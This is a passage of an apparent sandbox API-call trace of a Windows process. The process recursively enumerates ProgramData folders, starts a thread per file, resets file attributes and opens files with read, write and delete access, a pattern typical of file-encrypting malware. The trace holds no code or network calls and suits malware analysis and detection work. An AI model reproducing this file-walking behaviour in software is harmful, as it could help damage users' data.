(_String1="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", _String2=".") returned 1 [0212.123] wcscmp (_String1="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", _String2="..") returned 1 [0212.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x169a20 [0212.124] wcscpy (in: _Dest=0x169a20, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0212.124] wcscat (in: _Dest=0x169a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0212.124] wcscat (in: _Dest=0x169a20, _Source="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60" [0212.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x169a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3184 [0212.206] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148.2f9b60", cAlternateFileName="BA308D~1.2F9")) returned 0 [0212.207] FindClose (in: hFindFile=0x1b8591b0 | out: hFindFile=0x1b8591b0) returned 1 [0212.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fa60) returned 1 [0212.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0212.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3260) returned 1 [0212.209] FindNextFileW (in: hFindFile=0x1b858a30, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xffe43dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xffe43dd0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0212.210] FindClose (in: hFindFile=0x1b858a30 | out: hFindFile=0x1b858a30) returned 1 [0212.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0212.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858df0) returned 1 [0212.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858c10) returned 1 Thread: id = 1918 os_tid = 0x1090 [0134.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858490 [0134.037] wcscpy (in: _Dest=0x1b858490, _Source="C:\\Users\\All Users\\Microsoft\\eHome\\logs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs" [0134.037] wcscat (in: _Dest=0x1b858490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\" [0134.037] wcscat (in: _Dest=0x1b858490, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*" [0134.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0134.037] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859090 [0134.038] wcscmp (_String1=".", _String2=".") returned 0 [0134.038] FindNextFileW (in: hFindFile=0x1b859090, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.038] wcscmp (_String1="..", _String2=".") returned 1 [0134.038] wcscmp (_String1="..", _String2="..") returned 0 [0134.038] FindNextFileW (in: hFindFile=0x1b859090, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0134.038] FindClose (in: hFindFile=0x1b859090 | out: hFindFile=0x1b859090) returned 1 [0134.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0134.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858490) returned 1 [0134.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86bb0) returned 1 Thread: id = 1919 os_tid = 0x1094 [0134.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a3490 [0134.043] wcscpy (in: _Dest=0x1b7a3490, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0134.043] wcscat (in: _Dest=0x1b7a3490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0134.044] wcscat (in: _Dest=0x1b7a3490, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*" [0134.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0134.044] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86bb0 [0134.044] wcscmp (_String1=".", _String2=".") returned 0 [0134.044] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.045] wcscmp (_String1="..", _String2=".") returned 1 [0134.045] wcscmp (_String1="..", _String2="..") returned 0 [0134.045] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0134.045] wcscmp (_String1="ApplicationViewsRootNode", _String2=".") returned 1 [0134.045] wcscmp (_String1="ApplicationViewsRootNode", _String2="..") returned 1 [0134.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205088b0 [0134.045] wcscpy (in: _Dest=0x205088b0, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0134.045] wcscat (in: _Dest=0x205088b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0134.045] wcscat (in: _Dest=0x205088b0, _Source="ApplicationViewsRootNode" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0151.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205c790 [0151.485] wcscpy (in: _Dest=0x4205c790, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0151.485] wcscat (in: _Dest=0x4205c790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\" [0151.485] wcscat (in: _Dest=0x4205c790, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*" [0151.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0151.486] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858e50 [0151.486] wcscmp (_String1=".", _String2=".") returned 0 [0151.486] FindNextFileW (in: hFindFile=0x1b858e50, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.486] wcscmp (_String1="..", _String2=".") returned 1 [0151.486] wcscmp (_String1="..", _String2="..") returned 0 [0151.486] FindNextFileW (in: hFindFile=0x1b858e50, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.486] FindClose (in: hFindFile=0x1b858e50 | out: hFindFile=0x1b858e50) returned 1 [0151.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0151.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c790) returned 1 [0151.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205088b0) returned 1 [0151.487] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0151.487] FindClose (in: hFindFile=0x1cd86bb0 | out: hFindFile=0x1cd86bb0) returned 1 [0151.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0151.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3490) returned 1 [0151.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863a40) returned 1 Thread: id = 1920 os_tid = 0x109c [0134.049] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl")) returned 0xffffffff [0134.049] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 0 [0134.049] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.049] GetLastError () returned 0x2 [0134.049] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0xffffffff) returned 0 [0134.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86b50) returned 1 Thread: id = 1921 os_tid = 0x10c8 [0134.065] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl")) returned 0xffffffff [0134.065] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL", dwFileAttributes=0x20) returned 0 [0134.065] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.065] GetLastError () returned 0x2 [0134.065] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL", dwFileAttributes=0xffffffff) returned 0 [0134.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8585b0) returned 1 Thread: id = 1922 os_tid = 0x10cc [0134.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8693c0 [0134.092] wcscpy (in: _Dest=0x1b8693c0, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" [0134.092] wcscat (in: _Dest=0x1b8693c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\" [0134.092] wcscat (in: _Dest=0x1b8693c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*" [0134.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58c60 [0134.092] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8585b0 [0134.093] wcscmp (_String1=".", _String2=".") returned 0 [0134.093] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.093] wcscmp (_String1="..", _String2=".") returned 1 [0134.093] wcscmp (_String1="..", _String2="..") returned 0 [0134.093] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0134.093] FindClose (in: hFindFile=0x1b8585b0 | out: hFindFile=0x1b8585b0) returned 1 [0134.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58c60) returned 1 [0134.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0134.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed10) returned 1 Thread: id = 1923 os_tid = 0x10d0 [0134.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a3500 [0134.105] wcscpy (in: _Dest=0x1b7a3500, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0134.106] wcscat (in: _Dest=0x1b7a3500, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\" [0134.106] wcscat (in: _Dest=0x1b7a3500, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*" [0134.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58c60 [0134.106] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8585b0 [0134.106] wcscmp (_String1=".", _String2=".") returned 0 [0134.106] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.107] wcscmp (_String1="..", _String2=".") returned 1 [0134.107] wcscmp (_String1="..", _String2="..") returned 0 [0134.107] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0134.107] FindClose (in: hFindFile=0x1b8585b0 | out: hFindFile=0x1b8585b0) returned 1 [0134.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58c60) returned 1 [0134.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3500) returned 1 [0134.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb450) returned 1 Thread: id = 1924 os_tid = 0x10d4 [0134.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0xeb450 [0134.114] wcscpy (in: _Dest=0xeb450, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0134.114] wcscat (in: _Dest=0xeb450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0134.114] wcscat (in: _Dest=0xeb450, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*" [0134.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58c60 [0134.114] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8585b0 [0134.115] wcscmp (_String1=".", _String2=".") returned 0 [0134.115] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.115] wcscmp (_String1="..", _String2=".") returned 1 [0134.115] wcscmp (_String1="..", _String2="..") returned 0 [0134.115] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0134.115] wcscmp (_String1="qmgr0.dat", _String2=".") returned 1 [0134.115] wcscmp (_String1="qmgr0.dat", _String2="..") returned 1 [0134.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ed10 [0134.115] wcscpy (in: _Dest=0x1b85ed10, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0134.115] wcscat (in: _Dest=0x1b85ed10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0134.115] wcscat (in: _Dest=0x1b85ed10, _Source="qmgr0.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" [0151.490] GetFileAttributesW (lpFileName="C:\\Users\\All 